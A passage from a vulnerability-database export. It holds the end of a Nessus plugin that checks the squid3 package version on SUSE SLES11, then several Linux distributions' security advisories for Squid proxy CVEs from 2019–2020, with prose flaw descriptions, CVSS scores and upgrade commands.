The handler for url_regex rules URL decodes an incoming request. This allows an attacker to\n encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use\n Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as\n domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it\n performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote\n (which would satisfy its requirements), leading to a memcpy of its length minus 1. (CVE-2019-12525)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based\n buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to\n ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in\n the heap. (CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.10. It allows a crafted FTP server to trigger disclosure of\n sensitive information from heap memory, such as information associated with other users' sessions or non-\n Squid processes. (CVE-2019-12528)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When\n Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The\n length is then used to start decoding the string. There are no checks to ensure that the length it\n calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An\n attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the\n display of usernames on error pages. (CVE-2019-12529)\n\n - The cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter.\n (CVE-2019-13345)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a\n heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity\n is high due to this vulnerability occurring before normal security checks; any remote client that can\n reach the proxy port can trivially perform the attack via a crafted URI scheme. (CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because\n the appended characters do not properly interact with hostname length restrictions). Due to incorrect\n message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The\n resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content\n at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no\n effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing\n whitespace between a header name and a colon. (CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is\n vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the\n raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n (CVE-2019-18679)\n\n - Squid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter\n to cachemgr.cgi. (CVE-2019-18860)\n\n - An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest\n Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the\n attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if\n the pooled token credentials are freed (instead of replayed as valid credentials). (CVE-2020-11945)\n\n - An issue was discovered in Squid 5.x before 5.0.3. Due to an Incorrect Synchronization, a Denial of\n Service can occur when processing objects in an SMP cache because of an Ipc::Mem::PageStack::pop ABA\n problem during access to the memory page/slot management list. (CVE-2020-14059)\n\n - An issue was discovered in http/ContentLengthInterpreter.cc in Squid before 4.12 and 5.x before 5.0.3. A\n Request Smuggling and Poisoning attack can succeed against the HTTP cache. The client sends an HTTP\n request with a Content-Length header containing +\\ - or an uncommon shell whitespace character prefix\n to the length field-value. (CVE-2020-15049)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, it can interpret crafted\n HTTP requests in unexpected ways to access server resources prohibited by earlier security filters.\n (CVE-2020-8449)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect buffer management, a remote client can\n cause a buffer overflow in a Squid instance acting as a reverse proxy. (CVE-2020-8450)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, the NTLM authentication\n credentials parser in ext_lm_group_acl may write to memory outside the credentials buffer. On systems with\n memory access protections, this can result in the helper process being terminated unexpectedly. This leads\n to the Squid process also terminating and a denial of service for all clients using the proxy.\n (CVE-2020-8517)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1140738\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1141329\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1141332\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1156323\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1156324\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1156326\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1156328\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1156329\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1162687\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1162689\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1162691\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1167373\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1169659\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1170313\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1170423\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1173304\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/1173455\");\n # https://lists.suse.com/pipermail/sle-security-updates/2020-August/007289.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?d14abea9\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12519\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12520\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12521\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12523\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12524\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12525\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12526\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12529\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-13345\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18676\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18677\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18678\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18679\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18860\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-11945\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-14059\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-15049\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8449\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8450\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8517\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected squid3 package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2020-11945\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/05/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/08/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/06/10\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:11\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'SUSE');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES11)$\", string:os_ver)) audit(AUDIT_OS_NOT, 'SUSE SLES11', 'SUSE ' + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'SUSE ' + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES11\" && (! preg(pattern:\"^(4)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES11 SP4\", os_ver + \" SP\" + sp);\n\npkgs = [\n {'reference':'squid3-3.1.23-8.16.37.12', 'sp':'4', 'release':'SLES11', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'SLES_SAP-release-11.4'},\n {'reference':'squid3-3.1.23-8.16.37.12', 'sp':'4', 'release':'SLES11', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'sles-release-11.4'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n exists_check = NULL;\n rpm_spec_vers_cmp = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['exists_check'])) exists_check = package_array['exists_check'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (reference && release && exists_check) {\n if (rpm_exists(release:release, rpm:exists_check) && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, rpm_spec_vers_cmp:rpm_spec_vers_cmp)) flag++;\n }\n else if (reference && release) {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, rpm_spec_vers_cmp:rpm_spec_vers_cmp)) flag++;\n }\n}\n\nif (flag)\n{\n ltss_plugin_caveat = '\\n' +\n 'NOTE: This vulnerability check contains fixes that apply to\\n' +\n 'packages only available in SUSE Enterprise Linux Server LTSS\\n' +\n 'repositories. Access to these package security updates require\\n' +\n 'a paid SUSE LTSS subscription.\\n';\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + ltss_plugin_caveat\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'squid3');\n}\n", "cvss": {"score": 7.5, "vector": "CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mageia": [{"lastseen": "2022-04-18T11:19:34", "description": "Potential remote code execution during URN processing (CVE-2019-12526). Multiple improper validations in URI processing (CVE-2019-12523, CVE-2019-18676). Cross-Site Request Forgery in HTTP Request processing (CVE-2019-18677). Incorrect message parsing which could have led to HTTP request splitting issue (CVE-2019-18678). Information disclosure when processing HTTP Digest Authentication (CVE-2019-18679). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-13T18:25:24", "type": "mageia", "title": "Updated squid packages fix security vulnerabilities\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-13T18:25:24", "id": "MGASA-2019-0382", "href": "https://advisories.mageia.org/MGASA-2019-0382.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2021-07-28T14:46:51", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-05T01:42:38", "type": "fedora", "title": "[SECURITY] Fedora 31 Update: squid-4.9-2.fc31", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-05T01:42:38", "id": "FEDORA:F3746608713A", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/MTM74TU2BSLT5B3H4F3UDW53672NVLMC/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:46:51", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-05T01:12:23", "type": "fedora", "title": "[SECURITY] Fedora 30 Update: squid-4.9-2.fc30", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-05T01:12:23", "id": "FEDORA:6CF8E60A184D", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/UEMOYTMCCFWK5NOXSXEIH5D2VGWVXR67/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2022-01-04T11:32:36", "description": "Jeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled certain URN requests. A remote attacker could possibly use this \nissue to bypass access checks and access restricted servers. This issue was \nonly addressed in Ubuntu 19.04 and Ubuntu 19.10. (CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handed URN responses. A remote \nattacker could use this issue to cause Squid to crash, resulting in a \ndenial of service, or possibly execute arbitrary code. (CVE-2019-12526)\n\nAlex Rousskov discovered that Squid incorrectly handled certain strings. A \nremote attacker could possibly use this issue to cause Squid to crash, \nresulting in a denial of service. This issue only affected Ubuntu 19.04. \n(CVE-2019-12854)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled certain input. A remote attacker could use this issue to cause \nSquid to crash, resulting in a denial of service, or possibly execute \narbitrary code. This issue was only addressed in Ubuntu 19.04 and Ubuntu \n19.10. (CVE-2019-18676)\n\nKristoffer Danielsson discovered that Squid incorrectly handled certain \nmessages. This issue could result in traffic being redirected to origins \nit should not be delivered to. (CVE-2019-18677)\n\nR\u00e9gis Leroy discovered that Squid incorrectly handled certain HTTP \nrequest headers. A remote attacker could use this to smuggle HTTP requests \nand corrupt caches with arbitrary content. (CVE-2019-18678)\n\nDavid Fifield discovered that Squid incorrectly handled HTTP Digest \nAuthentication. A remote attacker could possibly use this issue to obtain \npointer contents and bypass ASLR protections. (CVE-2019-18679)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-04T00:00:00", "type": "ubuntu", "title": "Squid vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-18677", "CVE-2019-18676", "CVE-2019-18678", "CVE-2019-12854", "CVE-2019-18679", "CVE-2019-12526"], "modified": "2019-12-04T00:00:00", "id": "USN-4213-1", "href": "https://ubuntu.com/security/notices/USN-4213-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2022-01-17T19:02:32", "description": "### Background\n\nSquid is a full-featured Web proxy cache designed to run on Unix systems. It supports proxying and caching of HTTP, FTP, and other URLs, as well as SSL support, cache hierarchies, transparent caching, access control lists and many other features. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Squid. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker, by sending a specially crafted request, could possibly execute arbitrary code with the privileges of the process, obtain sensitive information or cause a Denial of Service condition. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Squid users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-proxy/squid-4.10\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-16T00:00:00", "type": "gentoo", "title": "Squid: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2020-03-16T00:00:00", "id": "GLSA-202003-34", "href": "https://security.gentoo.org/glsa/202003-34", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "altlinux": [{"lastseen": "2022-06-10T03:05:49", "description": "4.10-alt1 built March 16, 2020 Alexey Shabalin in task [#247850](<https://git.altlinux.org/tasks/247850/>) \n--- \nMarch 14, 2020 Alexey Shabalin \n \n \n - Updated to 4.10.\n - Fixes:\n + CVE-2019-12526 Heap Overflow issue in URN processing.\n + CVE-2019-12523 Multiple issues in URI processing.\n + CVE-2019-18676 Multiple issues in URI processing.\n + CVE-2019-18677 Cross-Site Request Forgery issue in HTTP Request processing.\n + CVE-2019-18678 HTTP Request Splitting issue in HTTP message processing.\n + CVE-2019-18679 Information Disclosure issue in HTTP Digest Authentication.\n + CVE-2020-8449 Improper Input Validation issues in HTTP Request processing.\n + CVE-2020-8450 Improper Input Validation issues in HTTP Request processing.\n + CVE-2019-12528 Information Disclosure issue in FTP Gateway.\n + CVE-2020-8517 Buffer Overflow issue in ext_lm_group_acl helper.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-16T00:00:00", "type": "altlinux", "title": "Security fix for the ALT Linux 9 package squid version 4.10-alt1", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2020-03-16T00:00:00", "id": "F7336A12B4B581B50ACA516BE4EA6F7E", "href": "https://packages.altlinux.org/en/p9/srpms/squid/2509265913505132702", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2022-04-27T00:51:27", "description": "An update that fixes 12 vulnerabilities is now available.\n\nDescription:\n\n This update for squid to version 4.9 fixes the following issues:\n\n Security issues fixed:\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\n cachemgr.cgi (bsc#1140738).\n - CVE-2019-12526: Fixed potential remote code execution during URN\n processing (bsc#1156326).\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in\n URI processing (bsc#1156329).\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\n processing (bsc#1156328).\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to\n HTTP request splitting issue (bsc#1156323).\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest\n Authentication (bsc#1156324).\n\n Other issues addressed:\n\n * Fixed DNS failures when peer name was configured with any upper case\n characters\n * Fixed several rock cache_dir corruption issues\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2019-2541=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-21T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12527", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-3688"], "modified": "2019-11-21T00:00:00", "id": "OPENSUSE-SU-2019:2541-1", "href": 